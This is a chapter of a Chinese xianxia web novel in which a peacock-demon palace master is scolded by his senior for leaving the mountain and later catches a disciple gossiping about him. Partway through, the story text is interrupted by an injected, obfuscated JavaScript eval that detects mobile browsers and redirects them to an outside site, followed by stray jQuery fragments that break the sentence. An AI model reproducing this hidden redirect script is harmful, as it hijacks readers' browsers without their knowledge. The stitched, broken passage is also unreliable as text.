白玉宫在这座山上的最里端,如同仙境般云雾缭绕。宫如其名,通体以白玉打造,玉殿瑶阶,珠宫贝阙。
玉殿外有一片淡蓝色的莲花花海,但养育花海的不是水,而是蓝金色的土壤。
郁怀期被领到白玉宫时,正听到宫中发出一声巨大的响音,仿佛有东西炸了。
“鱼师弟,你以后就住在这里了。”
天一派弟子,十六指了指白玉宫旁的一棵树型宫殿,像是将一棵巨大的树给挖空了,又从上到下打造出了六个分层,用木楼梯连接,从上到下每个层都有名字。
而分给郁怀期的那层,叫怀泽舍。
“十六师兄,”郁怀期看着面前一袭墨色长袍的师兄,道:“为何我不能住白玉宫?”
十六看了他一眼,那一眼颇有些‘你想得美’的意思。很快,他解释道:“白玉宫非尊主不可入。”
郁怀期眯起眼睛,“杂役也不行?”
“不行。”十六脸色严肃:“而且宫主不需要杂役。”
郁怀期一顿,一句为何还没问出口,就见到一只‘丹炉’从屋里飞了出来,没人捧着、也没人看着。
“那是白云尊主的碧玉炉,”十六见怪不怪,“准备去吸蛐蛐儿呢。”
什么蛐蛐?郁怀期眼睛一抬,却见那碧玉炉打开了来,开始在树状宫殿上,暴风吸入——
约莫几息间,就有许多小小的虫子从树上自己飞进了炉中,紧接着炉子里‘轰’的一声!
碧玉炉又飞进了白玉宫。
宫中,长桌边。
碧玉炉变小了,将那些虫子哗啦啦的倒进桌上的盘子。
那些虫子闻起来散发着特殊的香气。
“给,今天的炸蟋蟀!”林白云指着盘子,看向对面的青樾白——
青樾白已经又变成了巴掌大小的孔雀,蜷缩在桌边,脑袋上爱心型的小冠羽一点一点的,伸出脑袋将蟋蟀们叼来吃了。
“不够不够,”青樾白摆摆脑袋,哼道:“我还要吃!”
他摆着脑袋时,毛茸茸的心形冠羽落在了林白云的手边。
林白云忍不住摸了摸,青樾白连忙躲开,“师兄,你干嘛呢!”
他的冠羽最近很奇怪,总是麻麻的,偏偏他的这些师兄们都喜欢摸。
“哎呀,摸一下嘛,”林白云将他薅进怀里,又扒拉了下他的翅膀,“我看看……”
目光忽然捕捉到孔雀爪子上一点痕迹,林白云瞳孔一缩,“你的腿怎么了?受伤了?你又瞒着我下山?”
青樾白一僵,连忙立起冠羽,给林白云比了个心,撒娇道:“哪有?我这是被蚊子咬了!”
孔雀脑袋上的冠羽只有两根,像小花小草一样,看起来十分可爱。
而且,他不经常做比心的动作。
林白云被萌得倒吸一口冷气——若是以前也就被他混过去了,但下山之事不容胡来,因此他揪起青樾白短短的后颈,拎起来,对视道:“师兄说了多少次不能下山?你知不知道,如果被人发现你是只孔雀妖,你会被仙盟除名的!”
白玉宫禁止外人入内,便是为了隐瞒此事。
青樾白眨巴眨巴眼睛,“剔除就剔除呗。”
林白云登时怒了,“你说得轻松,你知不知道——”
“反正我也不能下山,”青樾白打断了他的话,“还总是被薛云清看不起。”
说到此处,他真有些委屈了,“他还骂我戴面具是见不得人,是遮丑!”
孔雀一族天生爱美,哪能忍得了这个?
林白云想起了三生殿上的事,脸色缓了缓,哄道:“没办法,谁叫你这妖纹不稳定呢?快变回来,我帮你看看它的情况。”
话音落下,小孔雀身形一闪,又变回了人,脸上也没有面具了。
一身墨绿青衣,长发披散,没有束冠,但脑袋上保持了兽型的冠羽。
他脸上那原本只在眼尾上的艳红纹路扩散到了颧骨部分,像一朵妖异的花。
是妖纹。妖纹在情绪激动时,就会在那半面脸颊扩散、游动。
“你怎么连完整人形都保持不住?”林白云一边问,一边在他脑袋上的冠羽上薅了一下,才心满意足的收回手。
青樾白抬手一摸脑袋,才发现冠羽还在,抬手一拍,给它拍没了。
“不知道,”他坐了下来,蔫道:“最近总是觉得好累,想睡觉,但睡了又很热——师兄,你要不给我把个脉?”
林白云摸了下他的脉搏,摸了会,皱眉道:“这也没生病啊——是不是春天的原因?或者发情期到了?”
这消息宛若晴天霹雳,青樾白眼眸瞪大了:“什么?!发情期?”
林白云:“也不对,我记得孔雀发情期不是这样子啊!”
孔雀在发情时会不停的开屏,像青樾白这种,会变回原形开屏。
青樾白抬手挠挠脸,原来修炼成精了还会有发情期吗?那他要不要再找个孔雀?
可天一派只有他一只孔雀。
“那如果真是发情期,该怎么办?”他看着林白云。
林白云:“……”
林白云缓缓抬眸,“我帮你把师兄从闭关里拍出来?”
青樾白有些不解,“和师兄有什么关系?”
林白云看了他片刻,神色复杂的叹息一声,不再说话了。
“对了,师兄,”青樾白想起鱼侜的事,“你帮我教鱼侜学丹修吧?”
林白云嗤笑一声,“你的徒弟怎么能要我来教?你听我的,你就用教萱灵的法子教他就行了。”
青樾白抿唇,心虚的拿过扇子展开,遮住下半张脸,“可是,萱灵画了我教她画的驱魔符后,现在还倒在床上呢。”
林白云:“……”
青樾白幽幽道:“你的首席大弟子说她是被符咒反噬了,大概是授符人法力不足的缘故。”
符修可以自己创造符咒,并将符咒教给别人。
每个人创造的符咒都不一样,也不会相同。
而且,如果创造这个符咒的创始人死了,那他创造的所有符咒都会消失,失去原本的作用,这称为“首符”。
而教给弟子们的是“次符”,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924475|177124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种‘次符’不会随着符修的死亡而消失,但它的灵气和威力不如‘首符’。
如果师尊学艺不精,弟子们画到一半,就会出现萱灵的情况。
林白云:“………”
……
“唉,你说你,大好的天赋,圣灵根啊!”
弟子居住的木舍中,十六师兄一拍桌子,“怎么就拜了宫主呢!咱们萱师妹都还在床上睡着呢!”
郁怀期已经换了身白衣,闻言淡淡的放下了茶杯,不为所动。
像是根本不在意学不学到符咒。
“宫主……”郁怀期反复咀嚼着两个字,轻笑一声,仿佛要念出什么别样的意味。
他想了想,还是把最想问的问题问出了口:“师兄,我师尊的脸上为什么要戴着面具?是因为他很丑吗?”
十六师兄一顿,没想到他竟然不为自己的前途所动,反而先关注青樾白。
他诧异的挑起眉头,反问:“师弟,你这可就不对了,怎么能说他丑呢?你不是也戴面具吗?”
郁怀期眯起眼睛,指腹摸着茶杯,那气质简直像是个阴郁的贵公子,一举一动都带着常年上位者的气息。
……看起来竟然比青樾白更像所谓的仙尊?
十六师兄脑海里莫名闪过这个想法,随即觉得荒谬,摇摇脑袋,又看了鱼侜一眼,道:“我也不知道他为什么戴面具,也许真是像你说的那样吧,我们都没见过他面具下的样子。”
原来如此。
郁怀期垂下眸子,却开口试探道:“那他法力不高,又遮遮掩掩的,是怎么成为你们白玉宫主的?”
提起这个,十六暧昧一笑,“我猜,或许是因为他和掌门有什么桃色关系?”
郁怀期动作一顿,仿佛对他的话有些不满。
但最终,他只是眉头一挑,说:“原来如此,不过,以他那身姿倒确实有可能。”
“对嘛!”十六嘿嘿一笑,“好了,不提这个了,我还有事,先回落昙殿咯!”
说罢,他起身推开木舍的门,眼睛却在开门时骤然一缩——
原来是青樾白站在门外,戴着面具,手中捏着一支花枝似的东西,那是他的法器。
一刻钟前,这法器还在他脑袋上当簪子。
十六吓了一跳,没有想到说坏话竟然能被本人当场抓获,瞬间脸色羞红起来,连忙拱手行礼:“弟子,弟子拜见宫主!”
郁怀期身形一僵。
他缓缓转身,正好和青樾白冰冷的目光对上。
郁怀期:“……!”
“十六,”青樾白突然说:“门规里有说过,不能私下妄议尊主吧?”
十六羞愤欲死,跪了下来——他是法落昙门下的弟子,若是青樾白愿意,只用和法落昙说一声,他便会被法落昙逐出师门。
“是、是有这规矩,”他抬起头,“宫主,我、我再也不敢了……”
青樾白轻笑一声,却没有低头看十六,而是看着郁怀期。
“鱼侜,你犯了门规,罚你出去围着白玉宫的后山跑两圈,禁闭一日。”